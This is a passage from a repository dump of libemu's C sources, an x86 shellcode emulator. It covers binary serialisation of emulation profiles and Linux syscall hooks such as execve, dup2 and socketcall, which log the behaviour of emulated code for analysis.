(argument->argname != NULL)\n\t\tfree(argument->argname);\n\n\tif (argument->argtype != NULL)\n\t\tfree(argument->argtype);\n\n\tswitch(argument->render)\n\t{\n\tcase render_port:\n\tcase render_ip:\n\tcase render_none:\n\tcase render_int:\n\tcase render_short:\n\t\tbreak;\n\n\tcase render_string:\n\t\tif (argument->value.tchar != NULL)\n\t\t\tfree(argument->value.tchar);\n\t\tbreak;\n\n\tcase render_bytea:\n\t\tif (argument->value.bytea.data != NULL)\n\t\t\tfree(argument->value.bytea.data);\n\t\tbreak;\n\n\tcase render_ptr:\n\t\temu_profile_argument_free(argument->value.tptr.ptr);\n\t\tbreak;\n\n\tcase render_array:\n\tcase render_struct:\n\t\t{\n\t\t\tstruct emu_profile_argument *argumentit;\n\t\t\twhile ((argumentit = emu_profile_arguments_remove_first(argument->value.tstruct.arguments)) != NULL )\n\t\t\t{\n\t\t\t\temu_profile_argument_free(argumentit);\n\t\t\t}\n\n\t\t\temu_profile_arguments_destroy(argument->value.tstruct.arguments);\n\t\t}\n\t\tbreak;\n\t}\n\n\tfree(argument);\n}\n\nchar *indents(int i)\n{\n\tstatic char indents[255];\n\tmemset(indents, ' ', 255);\n\tindents[i*4] = '\\0';\n\treturn indents;\n}\n\n\nvoid emu_profile_argument_debug(struct emu_profile_argument *argument, int indent)\n{\n//\tprintf(\"%s %s = \", indents(indent), argument->argname);\n\tswitch(argument->render)\n\t{\n\tcase render_struct:\n\t\tprintf(\"%s struct %s %s = {\\n\", indents(indent), argument->argtype, argument->argname);\n\n\n\t\tstruct emu_profile_argument *argumentit;\n\t\tfor (argumentit = emu_profile_arguments_first(argument->value.tstruct.arguments); \n\t\t\t  !emu_profile_arguments_istail(argumentit); \n\t\t\t  argumentit = emu_profile_arguments_next(argumentit))\n\t\t{\n\t\t\temu_profile_argument_debug(argumentit,indent+1);\n\t\t}\n\n\t\tprintf(\"%s };\\n\", indents(indent));\n\t\tbreak;\n\n\tcase render_array:\n\t\tprintf(\"%s %s %s = [\\n\", indents(indent), argument->argtype, argument->argname);\n\t\tfor (argumentit = emu_profile_arguments_first(argument->value.tstruct.arguments); \n\t\t\t  !emu_profile_arguments_istail(argumentit); \n\t\t\t  argumentit = emu_profile_arguments_next(argumentit))\n\t\t{\n\t\t\temu_profile_argument_debug(argumentit,indent+1);\n\t\t}\n\t\tprintf(\"%s ];\\n\", indents(indent));\n\t\tbreak;\n\n\tcase render_int:\n\t\tprintf(\"%s %s %s = %i;\\n\", indents(indent), argument->argtype, argument->argname, argument->value.tint);\n\t\tbreak;\n\n\tcase render_short:\n\t\tprintf(\"%s %s %s = %i;\\n\", indents(indent), argument->argtype, argument->argname, argument->value.tshort);\n\t\tbreak;\n\n\n\tcase render_string:\n\t\tprintf(\"%s %s %s = \\\"%s\\\";\\n\", indents(indent), argument->argtype, argument->argname, argument->value.tchar);\n\t\tbreak;\n\n\tcase render_bytea:\n\t\tprintf(\"%s %s %s = \\\"%s\\\" (%i bytes);\\n\", indents(indent), argument->argtype, argument->argname, \".binary.\", argument->value.bytea.size);\n\t\tbreak;\n\n\tcase render_ptr:\n\t\t{\n\t\t\tstruct emu_profile_argument *argit = argument;\n\t\t\twhile (argit->render == render_ptr)\n\t\t\t{\n\t\t\t\targit = argit->value.tptr.ptr;\n\t\t\t}\n\n\t\t\tif (argit->render == render_struct)\n\t\t\t\tprintf(\"%s struct %s %s = 0x%08x => \\n\", indents(indent), argument->argtype, argument->argname, argument->value.tptr.addr);\n\t\t\telse\n\t\t\t\tprintf(\"%s %s %s = 0x%08x => \\n\", indents(indent), argument->argtype, argument->argname, argument->value.tptr.addr);\n\n\t\t\temu_profile_argument_debug(argument->value.tptr.ptr, indent+1);\n\t\t}\n\t\tbreak;\n\n\tcase render_ip:\n\t\tprintf(\"%s %s %s = %i (host=%s);\\n\", indents(indent), argument->argtype, argument->argname, argument->value.tint, inet_ntoa(*(struct in_addr *)&argument->value.tint));\n\t\tbreak;\n\n\tcase render_port:\n\t\tprintf(\"%s %s %s = %i (port=%i);\\n\", indents(indent), argument->argtype, argument->argname, argument->value.tint, ntohs((uint16_t)argument->value.tint));\n\t\tbreak;\n\n\tcase render_none:\n\t\tprintf(\"%s none;\\n\", indents(indent));\n\t\tbreak;\n\t}\n}\n\n\nvoid emu_profile_debug(struct emu_profile *profile)\n{\n\tstruct emu_profile_function *function;\n\tfor (function = emu_profile_functions_first(profile->functions); !emu_profile_functions_istail(function); function = emu_profile_functions_next(function))\n\t{\n\t\temu_profile_function_debug(function);\n\t}\n\n}\n\nvoid emu_profile_function_debug(struct emu_profile_function *function)\n{\n\tprintf(\"%s %s \", function->return_value->argtype, function->fnname);\n\tprintf(\"(\\n\");\n\tstruct emu_profile_argument *argument;\n\tfor (argument = emu_profile_arguments_first(function->arguments); \n\t\t  !emu_profile_arguments_istail(argument); \n\t\t  argument = emu_profile_arguments_next(argument))\n\t{\n\t\temu_profile_argument_debug(argument,1);\n\t}\n\tprintf(\")\");\n\tswitch (function->return_value->render)\n\t{\n\tcase render_none:\n\t\tprintf(\";\\n\");\n\t\tbreak;\n\tcase render_int:\n\t\tprintf(\" =  %i;\\n\", function->return_value->value.tint);\n\t\tbreak;\n\n\tcase render_ptr:\n\t\tprintf(\" = 0x%08x;\\n\", function->return_value->value.tptr.addr);\n\t\tbreak;\n\tdefault:\n\t\tprintf(\";\\n\");\n\t\tbreak;\n\n\t}\n\n}\n\n\nint emu_profile_dump_byte_write(FILE *f, byte value)\n{\n\tif (fwrite(&value, 1, 1, f) == 1)\n\t\treturn 0;\n\treturn -1;\n}\n\nint emu_profile_dump_int_write(FILE *f, int value)\n{\n\tuint32_t nval = htonl(value);\n\n\tif (fwrite(&nval, 4, 1, f) == 4)\n\t\treturn 0;\n\treturn -1;\n}\n\nint emu_profile_dump_short_write(FILE *f, int16_t value)\n{\n\tint16_t nval = htons(value);\n\n\tif (fwrite(&nval, 2, 1, f) == 2)\n\t\treturn 0;\n\treturn -1;\n}\n\n\nint emu_profile_dump_string_write(FILE *f, const char *string)\n{\n\tuint32_t strsize = 0;\n\tif (string)\n\t\tstrsize = strlen(string);\n\temu_profile_dump_int_write(f, strsize);\n\tif (fwrite(string, strsize, 1, f) == strsize)\n\t\treturn 0;\n\treturn -1;\n}\n\nint emu_profile_dump_bytea_write(FILE *f, const unsigned char *data, uint32_t size)\n{\n\temu_profile_dump_int_write(f, size);\n\tif (fwrite(data, size, 1, f) == size)\n\t\treturn 0;\n\treturn -1;\n}\n\n\nint emu_profile_argument_dump(FILE *f, struct emu_profile_argument *argument)\n{\n\temu_profile_dump_byte_write(f, (byte)argument->render);\n\temu_profile_dump_string_write(f, argument->argtype);\n\temu_profile_dump_string_write(f, argument->argname);\n\n\tswitch ( argument->render )\n\t{\n\tcase render_struct:\n\tcase render_array:\n\t\t{\n\t\t\temu_profile_dump_int_write(f, emu_profile_arguments_length(argument->value.tstruct.arguments));\n\n\t\t\tstruct emu_profile_argument *argumentit=NULL;\n\t\t\tfor ( argumentit = emu_profile_arguments_first(argument->value.tstruct.arguments); \n\t\t\t\t!emu_profile_arguments_istail(argumentit); \n\t\t\t\targumentit = emu_profile_arguments_next(argumentit) )\n\t\t\t{\n\t\t\t\temu_profile_argument_dump(f, argumentit);\n\t\t\t}\n\n\t\t}\n\t\tbreak;\n\n\tcase render_int:\n\t\temu_profile_dump_int_write(f, argument->value.tint);\n\t\tbreak;\n\n\tcase render_short:\n\t\temu_profile_dump_short_write(f, argument->value.tshort);\n\t\tbreak;\n\n\n\tcase render_string:\n\t\temu_profile_dump_string_write(f, argument->value.tchar);\n\t\tbreak;\n\n\tcase render_bytea:\n\t\temu_profile_dump_bytea_write(f, argument->value.bytea.data, argument->value.bytea.size);\n\t\tbreak;\n\n\tcase render_ip:\n\tcase render_port:\n\n\t\tif (fwrite(&argument->value.tint, 4, 1, f) == 4)\n\t\t\treturn 0;\n\n\t\tbreak;\n\n\tcase render_none:\n\t\tbreak;\n\n\tcase render_ptr:\n\t\temu_profile_dump_int_write(f, argument->value.tptr.addr);\n\t\temu_profile_argument_dump(f, argument->value.tptr.ptr);\n\t\tbreak;\n\t}\n\n\treturn 0;\n}\n\nint emu_profile_function_dump(FILE *f, struct emu_profile_function *function)\n{\n\t\n\temu_profile_dump_string_write(f, function->fnname);\n\t\n\temu_profile_dump_int_write(f, emu_profile_arguments_length(function->arguments));\n\n\tstruct emu_profile_argument *argumentit;\n\tfor (argumentit = emu_profile_arguments_first(function->arguments); \n\t\t  !emu_profile_arguments_istail(argumentit); \n\t\t  argumentit = emu_profile_arguments_next(argumentit))\n\t{\n\t\temu_profile_argument_dump(f, argumentit);\n\t}\n\n\temu_profile_argument_dump(f, function->return_value);\n\n\treturn 0;\n}\n\nint emu_profile_dump(struct emu_profile *profile, const char *path)\n{\n\t\n\n/*\n\tFUNCTION ARGUMENTS RETVAL\n\n\n\tRETVAL : ARGUMENTS\n\tFUNCTION: name STRING\n\t\t\t  argcount INT\n\n\tARGUMENTS: ARGUMENT(s)\n\n\tARGUMENT:\n\trender: 1 byte\n\ttype: STRING\n\tname: STRING\n\toptcount: INT\n\tARGUMENT(s)\n\n\tSTRING: INT len\n\t\t\tchar string[len]\n*/\n\n\tFILE *f;\n\n\tif ((f = fopen(path, \"w+\")) == NULL)\n\t\treturn -1;\n\n\n\temu_profile_dump_int_write(f, emu_profile_functions_length(profile->functions));\n\n\tstruct emu_profile_function *function;\n\tfor (function = emu_profile_functions_first(profile->functions); !emu_profile_functions_istail(function); function = emu_profile_functions_next(function))\n\t{\n\t\temu_profile_function_dump(f, function);\n\t}\n\n\tfclose(f);\n\treturn 0;\n}\n\nint emu_profile_dump_byte_read(FILE *f, byte *b)\n{\n\tif (fread(b, 1, 1, f) == 1)\n\t{\n\t\treturn 0;\n\t}\n\treturn -1;\n}\n\nint emu_profile_dump_int_read(FILE *f, int *i)\n{\n\tif (fread(i, 1, 4, f) == 4)\n\t{\n\t\t*i = ntohl(*i);\n    \treturn 0;\n\t}\n\treturn -1;\n}\n\nint emu_profile_dump_short_read(FILE *f, int16_t *i)\n{\n\tif (fread(i, 1, 2, f) == 2)\n\t{\n\t\t*i = ntohs(*i);\n    \treturn 0;\n\t}\n\treturn -1;\n}\n\n\n\nint emu_profile_dump_string_read(FILE *f, char **string)\n{\n\tint strsize = 0;\n\temu_profile_dump_int_read(f, &strsize);\n\t*string = malloc(strsize+1);\n\tmemset(*string, 0, strsize+1);\n\tif (fread(*string, 1, strsize, f) != strsize)\n\t\treturn -1;\n\treturn 0;\n}\n\nint emu_profile_dump_bytea_read(FILE *f, unsigned char **data, uint32_t *size)\n{\n\temu_profile_dump_int_read(f, (int *)size);\n\t*data = malloc(*size);\n\tmemset(*data, 0, *size);\n\tif (fread(*data, 1, *size, f) != *size)\n\t\treturn -1;\n\treturn 0;\n}\n\n\nint emu_profile_argument_parse(FILE *f, struct emu_profile *profile)\n{\n\tbyte render;\n\tchar *argtype;\n\tchar *argname;\n\n\temu_profile_dump_byte_read(f, &render);\n\temu_profile_dump_string_read(f, &argtype);\n\temu_profile_dump_string_read(f, &argname);\n\n\tif (render > render_array)\n\t\treturn 0;\n\n//\tprintf(\"%i %s %s %s\\n\",render , renderings[render], argtype, argname);\n\n\tswitch ( render )\n\t{\n\t\n\tcase render_struct:\n\t\t{\n\n\t\t\temu_profile_argument_struct_start(profile, argtype, argname);\n\t\t\tint argcount=0;\n\t\t\temu_profile_dump_int_read(f, &argcount);\n//\t\t\tprintf(\"parsing %i struct arguments\\n\", argcount);\n\t\t\twhile ( argcount > 0 )\n\t\t\t{\n\t\t\t\temu_profile_argument_parse(f, profile);\n\t\t\t\targcount--;\n\t\t\t}\n\t\t\temu_profile_argument_struct_end(profile);\n\t\t}\n\t\tbreak;\n\n\tcase render_array:\n\t\t{\n\n\t\t\temu_profile_argument_array_start(profile, argtype, argname);\n\t\t\tint argcount=0;\n\t\t\temu_profile_dump_int_read(f, &argcount);\n//\t\t\tprintf(\"parsing %i array arguments\\n\", argcount);\n\t\t\twhile ( argcount > 0 )\n\t\t\t{\n\t\t\t\temu_profile_argument_parse(f, profile);\n\t\t\t\targcount--;\n\t\t\t}\n\t\t\temu_profile_argument_array_end(profile);\n\t\t}\n\t\tbreak;\n\n\tcase render_int:\n\t\t{\n\t\t\tint value = 0;\n\t\t\temu_profile_dump_int_read(f, &value);\n\t\t\temu_profile_argument_add_int(profile, argtype, argname, value);\n\t\t}\n\t\tbreak;\n\n\tcase render_short:\n\t\t{\n\t\t\tint16_t value = 0;\n\t\t\temu_profile_dump_short_read(f,&value);\n\t\t\temu_profile_argument_add_short(profile, argtype, argname, value);\n\t\t}\n\t\tbreak;\n\n\tcase render_string:\n\t\t{\n\t\t\tchar *string;\n\t\t\temu_profile_dump_string_read(f, &string);\n\t\t\temu_profile_argument_add_string(profile, argtype, argname, string);\n\t\t}\n\t\tbreak;\n\n\tcase render_bytea:\n\t\t{\n\t\t\tunsigned char *data;\n\t\t\tuint32_t size;\n\t\t\temu_profile_dump_bytea_read(f, &data, &size);\n\t\t\temu_profile_argument_add_bytea(profile, argtype, argname, data, size);\n\t\t}\n\t\tbreak;\n\n\tcase render_port:\n\t\t{\n\n\t\t\tuint32_t x = 0;\n\t\t\tif ( fread(&x, 4, 1, f) == 4)\n\t\t\t\temu_profile_argument_add_port(profile, argtype, argname, x);\n\t\t}\n\t\tbreak;\n\n\tcase render_ip:\n\t\t{\n\t\t\tuint32_t x = -1;\n        \tif ( fread(&x, 4, 1, f) == 4)\n\t\t\t\temu_profile_argument_add_ip(profile, argtype, argname, x);\n\t\t}\n\t\tbreak;\n\n\tcase render_none:\n\t\temu_profile_argument_add_none(profile);\n\t\tbreak;\n\t\n\tcase render_ptr:\n\t\t{\n\t\t\tint addr = -1;\n\t\t\temu_profile_dump_int_read(f, &addr);\n        \temu_profile_argument_add_ptr(profile, argtype, argname, addr);\n\t\t\temu_profile_argument_parse(f, profile);\n\t\t}\n\t\tbreak;\n\n\t}\n\n\treturn 0;\n}\n\nint emu_profile_function_parse(FILE *f, struct emu_profile *profile)\n{\n\tchar *fnname;\n\n\temu_profile_dump_string_read(f, &fnname);\n\temu_profile_function_add(profile, fnname);\n\n\tint argcount = 0;\n\temu_profile_dump_int_read(f, &argcount);\n//\tprintf(\"parsing %i function arguments\\n\", argcount);\n\twhile (argcount > 0)\n\t{\n\t\temu_profile_argument_parse(f, profile);\n\t\targcount--;\n\t}\n\temu_profile_argument_parse(f, profile);\n\n\tstruct emu_profile_function *function = emu_profile_functions_last(profile->functions);\n\tstruct emu_profile_argument *argument = emu_profile_arguments_remove_last(function->arguments);\n\tfunction->return_value = argument;\n\n\treturn 0;\n}\n\nint emu_profile_parse(struct emu_profile *profile, const char *path)\n{\n\tFILE *f;\n\n\tif ((f = fopen(path, \"r\")) == NULL)\n\t\treturn -1;\n\n\tint functions = 0;\n\temu_profile_dump_int_read(f, &functions);\n//\tprintf(\"parsing %i functions\\n\", functions);\n\twhile (functions > 0)\n\t{\n\t\temu_profile_function_parse(f, profile);\n\t\tfunctions--;\n\t}\n\n\tfclose(f);\n\treturn 0;\n\n}\n"
  },
  {
    "path": "src/environment/linux/emu_env_linux.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_memory.h\"\n\n\n#include \"emu/environment/emu_env.h\"\n#include \"emu/environment/emu_profile.h\"\n#include \"emu/environment/linux/emu_env_linux.h\"\n#include \"emu/environment/linux/env_linux_syscalls.h\"\n\nstruct emu_env_linux *emu_env_linux_new(struct emu *e)\n{\n\tstruct emu_env_linux *eel = malloc(sizeof(struct emu_env_linux));\n\tmemset(eel, 0, sizeof(struct emu_env_linux));\n\teel->emu = e;\n\n\teel->syscall_hooks_by_name = emu_hashtable_new(256, emu_hashtable_string_hash,  emu_hashtable_string_cmp);\n\tint i;\n\teel->syscall_hookx = malloc(sizeof(syscall_hooks));\n\teel->hooks = malloc(sizeof(struct emu_env_hook)*(sizeof(syscall_hooks)/sizeof(struct emu_env_linux_syscall)));\n\tmemcpy(eel->syscall_hookx, syscall_hooks, sizeof(syscall_hooks));\n\n\tfor (i=0;i<sizeof(syscall_hooks)/sizeof(struct emu_env_linux_syscall);i++)\n\t{\n\t\teel->hooks[i].type = emu_env_type_linux;\n\t\teel->hooks[i].hook.lin = &eel->syscall_hookx[i];\n\t\temu_hashtable_insert(eel->syscall_hooks_by_name, (void *)eel->syscall_hookx[i].name, (void *)&eel->hooks[i]);\n\t}\n\n//\teel->profile = emu_profile_new();\n\n\treturn eel;\n}\n\n\nvoid emu_env_linux_free(struct emu_env_linux *eel)\n{\n\temu_hashtable_free(eel->syscall_hooks_by_name);\n\tfree(eel->syscall_hookx);\n\tfree(eel->hooks);\n//\temu_profile_free(eel->profile);\n\tfree(eel);\n}\n\nstruct emu_env_hook *emu_env_linux_syscall_check(struct emu_env *env)\n{\n\tstruct emu_cpu *cpu = emu_cpu_get(env->env.lin->emu);\n\n\tif ( cpu->instr.is_fpu == false \n\t\t &&  cpu->instr.opc == 0xcd \n\t\t &&  *cpu->instr.cpu.imm8 == 0x80 )\n\t{\n\t\tuint8_t callnum = *cpu->reg8[al];\n\t\tif ( callnum < sizeof(env_linux_syscalls) / sizeof(struct emu_env_linux_syscall_entry) )\n\t\t{\n\t\t\tconst char *name = NULL ;\n\t\t\tif ( env_linux_syscalls[callnum].name != NULL )\n\t\t\t{\n\t\t\t\tname = env_linux_syscalls[callnum].name;\n\t\t\t}\n\t\t\telse\n\t\t\tif ( env_linux_syscalls[callnum].fnhook != NULL )\n\t\t\t{\n\t\t\t\tname = env_linux_syscalls[callnum].fnhook(env->env.lin);\n\t\t\t}\n\n\t\t\tif ( name != NULL )\n\t\t\t{\n\t\t\t\tstruct emu_hashtable_item *ehi = emu_hashtable_search(env->env.lin->syscall_hooks_by_name, (void *)name);\n\t\t\t\tif ( ehi != NULL )\n\t\t\t\t{\n\t\t\t\t\treturn (struct emu_env_hook *)ehi->value;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\n\treturn NULL;\n}\n\nint32_t emu_env_linux_syscall_hook(struct emu_env *env, const char *syscallname,\n\t\t\t\t\t\t\t\t   uint32_t (*userhook)(struct emu_env *env, struct emu_env_hook *hook, ...),\n\t\t\t\t\t\t\t\t   void *userdata)\n{\n\n\tstruct emu_hashtable_item *ehi = emu_hashtable_search(env->env.lin->syscall_hooks_by_name, (void *)syscallname);\n\tif (ehi != NULL)\n\t{\n\n\t\tstruct emu_env_hook *hook = (struct emu_env_hook *)ehi->value;\n\t\thook->hook.lin->userhook = userhook;\n\t\thook->hook.lin->userdata = userdata;\n\t\treturn 0;\n\t}\n\n\treturn -1;\n}\n\n\nconst char *env_linux_socketcall(struct emu_env_linux *env)\n{\n\tstatic const char *socketcall_table [] =\n\t{\n\t\t/*  0 */ NULL,\n\t\t/*  1 */ \"socket\",\n\t\t/*  2 */ \"bind\",\n\t\t/*  3 */ \"connect\",\n\t\t/*  4 */ \"listen\",\n\t\t/*  5 */ \"accept\",\n\t\t/*  6 */ \"getsockname\",\n\t\t/*  7 */ \"getpeername\",\n\t\t/*  8 */ \"socketpair\",\n\t\t/*  9 */ \"send\",\n\t\t/* 10 */ \"recv\",\n\t\t/* 11 */ \"sendto\",\n\t\t/* 12 */ \"recvfrom\",\n\t\t/* 13 */ \"shutdown\",\n\t\t/* 14 */ \"setsockopt\",\n\t\t/* 15 */ \"getsockopt\",\n\t\t/* 16 */ \"sendmsg\",\n\t\t/* 17 */ \"recvmsg\",\n\t};\n\tstruct emu_cpu *cpu = emu_cpu_get(env->emu);\n\n\tif (cpu->reg[ebx] == 0 || cpu->reg[ebx] > 17)\n\t\treturn NULL;\n\n\treturn socketcall_table[cpu->reg[ebx]];\n}\n\n"
  },
  {
    "path": "src/environment/linux/env_linux_syscall_hooks.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n// for the socket hooks\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n\n#include <stdlib.h>\n\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_memory.h\"\n#include \"emu/emu_string.h\"\n#include \"emu/environment/emu_env.h\"\n#include \"emu/environment/emu_profile.h\"\n#include \"emu/environment/linux/emu_env_linux.h\"\n\nint32_t env_linux_hook_exit(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tprintf(\"sys_exit(2)\\n\");\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\temu_profile_function_add(env->profile, \"exit\");\n\temu_profile_argument_add_int(env->profile, \"int\", \"status\", c->reg[ebx]);\n\n\tif (hook->hook.lin->userhook != NULL)\n\t{\n\t\tuint32_t r = hook->hook.lin->userhook(env, hook, c->reg[ebx]);\n\t\temu_cpu_reg32_set(c, eax, r);\n\t}else\n\t\temu_cpu_reg32_set(c, eax, 0);\n\n\t\n\treturn 0;\n}\n\nint32_t env_linux_hook_chmod(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tprintf(\"sys_chmod(2)\\n\");\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\temu_profile_function_add(env->profile, \"chmod\");\n\n\tif (hook->hook.lin->userhook != NULL)\n\t{\n\t\tuint32_t r = hook->hook.lin->userhook(env, hook, c->reg[ebx]);\n\t\temu_cpu_reg32_set(c, eax, r);\n\t}else\n\t\temu_cpu_reg32_set(c, eax, 0);\n\n\treturn 0;\n}\n\n\nint32_t env_linux_hook_fork(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tprintf(\"sys_fork(2)\\n\");\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\temu_profile_function_add(env->profile, \"fork\");\n\n\temu_cpu_reg32_set(c, eax, 4711);\n\treturn 0;\n}\n\nint32_t env_linux_hook_execve(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tprintf(\"execve\\n\");\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tstruct emu_string *name = emu_string_new();\n\temu_memory_read_string(emu_memory_get(c->emu), c->reg[ebx], name, 255);\n\n\tif ( env->profile != NULL )\n\t{\n\t\temu_profile_function_add(env->profile, \"execve\");\n\t\temu_profile_argument_add_ptr(env->profile, \"const char *\", \"dateiname\", c->reg[ebx]);\n\n\t\temu_profile_argument_add_string(env->profile, \"\", \"\", emu_string_char(name));\n//\temu_profile_argument_add_ptr(env->profile, \"\", \"\", c->reg[ecx]);\n\t\temu_profile_argument_array_start(env->profile, \"const char *\", \"argv[]\");\n\t}\n\n\tuint32_t p_array = c->reg[ecx];\n\tuint32_t p_arg = -1;\n\temu_memory_read_dword(emu_memory_get(c->emu), p_array, &p_arg);\n\tint i=1;\n//\tchar **argv = NULL;\n\twhile (p_arg != 0)\n\t{\n//\t\targv = realloc(argv, (i+1) * sizeof(char *));\n//\t\targv[i] = NULL;\n\n\t\tstruct emu_string *arg = emu_string_new();\n\t\temu_memory_read_string(emu_memory_get(c->emu), p_arg, arg, 128);\n//\t\targv[i-1] = strdup(emu_string_char(arg));\n\n\t\tif( emu_string_char(arg) == NULL )\n\t\t{\n\t\t\temu_string_free(arg);\n\t\t\tbreak;\n\t\t}\n\n\t\tif ( env->profile != NULL )\n\t\t{\n\t\t\temu_profile_argument_add_ptr(env->profile, \"\", \"\", p_array+((i-1)*4));\n\t\t\temu_profile_argument_add_ptr(env->profile, \"\", \"\", p_arg);\n\t\t\temu_profile_argument_add_string(env->profile, \"\", \"\", emu_string_char(arg));\n\t\t}\n\n\t\temu_string_free(arg);\n\t\temu_memory_read_dword(emu_memory_get(c->emu), p_array+(i*4), &p_arg);\n\t\ti++;\n\t}\n\n\tif ( env->profile != NULL )\n\t{\n\t\temu_profile_argument_add_ptr(env->profile, \"\", \"\", p_arg);\n\t\temu_profile_argument_add_none(env->profile);\n\n//\tprintf(\"arg is %s\\n\", emu_string_char(arg));\n\n\t\temu_profile_argument_array_end(env->profile);\n\n\t\temu_profile_argument_add_ptr(env->profile, \"const char *\", \"envp[]\", c->reg[edx]);\n\t\temu_profile_argument_add_none(env->profile);\n\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"int\", 0);\n\t}\n\tprintf(\"int execve (const char *dateiname=%08x={%s}, const char * argv[], const char *envp[]);\\n\", \n\t\t   c->reg[ebx],\n\t\t   emu_string_char(name));\n\n\temu_string_free(name);\n\treturn 0;\n}\n\n\nint32_t env_linux_hook_dup2(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n\tprintf(\"int dup2(int oldfd=%i, int newfd=%i);\\n\", c->reg[ebx], c->reg[ecx]);\n\n\tif ( env->profile != NULL )\n\t{\n\t\temu_profile_function_add(env->profile, \"dup2\");\n\t\temu_profile_argument_add_int(env->profile, \"int\", \"oldfd\", c->reg[ebx]);\n\t\temu_profile_argument_add_int(env->profile, \"int\", \"newfd\", c->reg[ecx]);\n\n\t\temu_profile_function_returnvalue_int_set(env->profile, \"int\", c->reg[ecx]);\n\t}\n\n\temu_cpu_reg32_set(c, eax, c->reg[ecx]);\n\treturn 0;\n}\n\n\n\nint32_t env_linux_hook_socketcall(struct emu_env *env, struct emu_env_hook *hook)\n{\n\tstruct emu_cpu *c = emu_cpu_get(env->emu);\n\n#define AL(x) (x)\n\tstatic unsigned char nargs[18]={AL(0),AL(3),AL(3),AL(3),AL(2),AL(3),\n\t\tAL(3),AL(3),AL(4),AL(4),AL(4),AL(6),\n\t\tAL(6),AL(2),AL(5),AL(5),AL(3),AL(3)};\n#undef AL\n\n\tuint32_t a[6];\n\tint i;\n\tfor ( i=0;i<nargs[c->reg[ebx]];i++ )\n\t{\n\t\temu_memory_read_dword(emu_memory_get(c->emu),c->reg[ecx]+4*i,a+i);\n\t}\n\n\tuint32_t returnvalue = 0;\n\n\tswitch ( c->reg[ebx] )\n\t{\n\tcase 1:\t// SYS_SOCKET \n\t\tprintf(\"int socket(int domain=%i, int type=%i, int protocol=%i);\\n\",\n\t\t\t   a[0],\n\t\t\t   a[1],\n\t\t\t   a[2]);\n\n\t\tif (hook->hook.lin->userhook != NULL)\n\t\t\treturnvalue = hook->hook.lin->userhook(env, hook, a[0], a[1],  a[2]);\n\t\telse\n\t\t\treturnvalue = 14;\n\n\t\tif ( env->profile != NULL )\n\t\t{\n\t\t\temu_profile_function_add(env->profile, \"socket\");\n\t\t\temu_profile_argument_add_int(env->profile, \"int\", \"domain\",     a[0]);\n\t\t\temu_profile_argument_add_int(env->profile, \"int\", \"type\",       a[1]);\n\t\t\temu_profile_argument_add_int(env->profile, \"int\", \"protocol\",   a[2]);\n\n\t\t\temu_profile_function_returnvalue_int_set(env->profile, \"int\", returnvalue);\n\t\t}\n\n\t\temu_cpu_reg32_set(c, eax, returnvalue);\n\n\t\tbreak;\n\n\tcase 2:\t// SYS_BIND \n\t\t{\n\n/*\n\t\t\tprintf(\"int bind(int sockfd=%i, struct sockaddr *my_addr=%08x={host %s port %i}, int addrlen);\\n\",\n\t\t\t\t   a[0],\n\t\t\t\t   a[1], inet_ntoa(*(struct in_addr *)&((struct sockaddr_in *)&sa)->sin_addr), ntohs(((struct sockaddr_in *)&sa)->sin_port) \n\t\t\t\t  );\n*/\n\n\n\n\t\t\tstruct sockaddr sa;\n\t\t\tmemset(&sa, 0, sizeof(struct sockaddr));\n\t\t\temu_memory_read_block(emu_memory_get(c->emu), a[1], &sa, sizeof(struct sockaddr));\n\n\n\t\t\tif (hook->hook.lin->userhook != NULL)\n\t\t\t\treturnvalue = hook->hook.lin->userhook(env, hook, a[0], &sa,  a[2]);\n\t\t\telse\n\t\t\t\treturnvalue = 0;\n\n\t\t\tif (env->profile != NULL)\n\t\t\t{\n\t\t\t\temu_profile_function_add(env->profile, \"bind\");\n\t\t\t\temu_profile_argument_add_int(env->profile, \"int\", \"sockfd\", a[0]);\n\t\t\t\temu_profile_argument_add_sockaddr_ptr(env->profile, \"my_addr\", a[1], sa);\n\t\t\t\temu_profile_argument_add_int(env->profile, \"int\", \"addrlen\", a[2]);\n\t\t\t\temu_profile_function_returnvalue_int_set(env->profile, \"int\", 